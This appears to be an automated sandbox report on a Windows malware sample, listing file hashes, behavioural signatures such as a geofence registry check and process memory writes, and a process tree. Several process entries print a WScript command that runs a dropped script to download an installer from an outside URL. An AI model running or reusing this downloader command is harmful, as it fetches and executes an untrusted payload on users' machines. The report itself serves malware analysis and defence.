Analysis
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max time kernel
136s -
max time network
105s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
26/05/2024, 03:17
Static task
static1
Behavioral task
behavioral1
Sample
742be332927d3c9215c11e47cefd0e51_JaffaCakes118.exe
Resource
win7-20240215-en
Behavioral task
behavioral2
Sample
742be332927d3c9215c11e47cefd0e51_JaffaCakes118.exe
Resource
win10v2004-20240426-en
General
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Target
742be332927d3c9215c11e47cefd0e51_JaffaCakes118.exe
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Size
184KB
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MD5
742be332927d3c9215c11e47cefd0e51
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SHA1
6571a761199ad23e12185dbae9f21e6136bf8342
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SHA256
065183bc01f4117eea2408f6625a9b0d238fec9f251d2538b02abaacd2cf7106
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SHA512
8c249cd46c4b63f876a9b22f1c96d061c542070bc35cc1cc460e432601d245a573fcce2595240f295e90c11b71056a016bc7305fd47b2de9710bdbdef65700ea
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SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3w:/7BSH8zUB+nGESaaRvoB7FJNndn1
Malware Config
Signatures
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Blocklisted process makes network request 6 IoCs
flow pid Process 5 3588 WScript.exe 41 4988 WScript.exe 43 2652 WScript.exe 55 4280 WScript.exe 58 428 WScript.exe 59 428 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation 742be332927d3c9215c11e47cefd0e51_JaffaCakes118.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\Local Settings 742be332927d3c9215c11e47cefd0e51_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 2740 wrote to memory of 3588 2740 742be332927d3c9215c11e47cefd0e51_JaffaCakes118.exe 82 PID 2740 wrote to memory of 3588 2740 742be332927d3c9215c11e47cefd0e51_JaffaCakes118.exe 82 PID 2740 wrote to memory of 3588 2740 742be332927d3c9215c11e47cefd0e51_JaffaCakes118.exe 82 PID 2740 wrote to memory of 4988 2740 742be332927d3c9215c11e47cefd0e51_JaffaCakes118.exe 96 PID 2740 wrote to memory of 4988 2740 742be332927d3c9215c11e47cefd0e51_JaffaCakes118.exe 96 PID 2740 wrote to memory of 4988 2740 742be332927d3c9215c11e47cefd0e51_JaffaCakes118.exe 96 PID 2740 wrote to memory of 2652 2740 742be332927d3c9215c11e47cefd0e51_JaffaCakes118.exe 97 PID 2740 wrote to memory of 2652 2740 742be332927d3c9215c11e47cefd0e51_JaffaCakes118.exe 97 PID 2740 wrote to memory of 2652 2740 742be332927d3c9215c11e47cefd0e51_JaffaCakes118.exe 97 PID 2740 wrote to memory of 4280 2740 742be332927d3c9215c11e47cefd0e51_JaffaCakes118.exe 100 PID 2740 wrote to memory of 4280 2740 742be332927d3c9215c11e47cefd0e51_JaffaCakes118.exe 100 PID 2740 wrote to memory of 4280 2740 742be332927d3c9215c11e47cefd0e51_JaffaCakes118.exe 100 PID 2740 wrote to memory of 428 2740 742be332927d3c9215c11e47cefd0e51_JaffaCakes118.exe 101 PID 2740 wrote to memory of 428 2740 742be332927d3c9215c11e47cefd0e51_JaffaCakes118.exe 101 PID 2740 wrote to memory of 428 2740 742be332927d3c9215c11e47cefd0e51_JaffaCakes118.exe 101
Processes
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C:\Users\Admin\AppData\Local\Temp\742be332927d3c9215c11e47cefd0e51_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\742be332927d3c9215c11e47cefd0e51_JaffaCakes118.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2740 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3354.js" http://www.djapp.info/?domain=lXYVhUOlKL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3354.exe2⤵
- Blocklisted process makes network request
PID:3588
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3354.js" http://www.djapp.info/?domain=lXYVhUOlKL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3354.exe2⤵
- Blocklisted process makes network request
PID:4988
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3354.js" http://www.djapp.info/?domain=lXYVhUOlKL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3354.exe2⤵
- Blocklisted process makes network request
PID:2652
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3354.js" http://www.djapp.info/?domain=lXYVhUOlKL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3354.exe2⤵
- Blocklisted process makes network request
PID:4280
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3354.js" http://www.djapp.info/?domain=lXYVhUOlKL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3354.exe2⤵
- Blocklisted process makes network request
PID:428
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76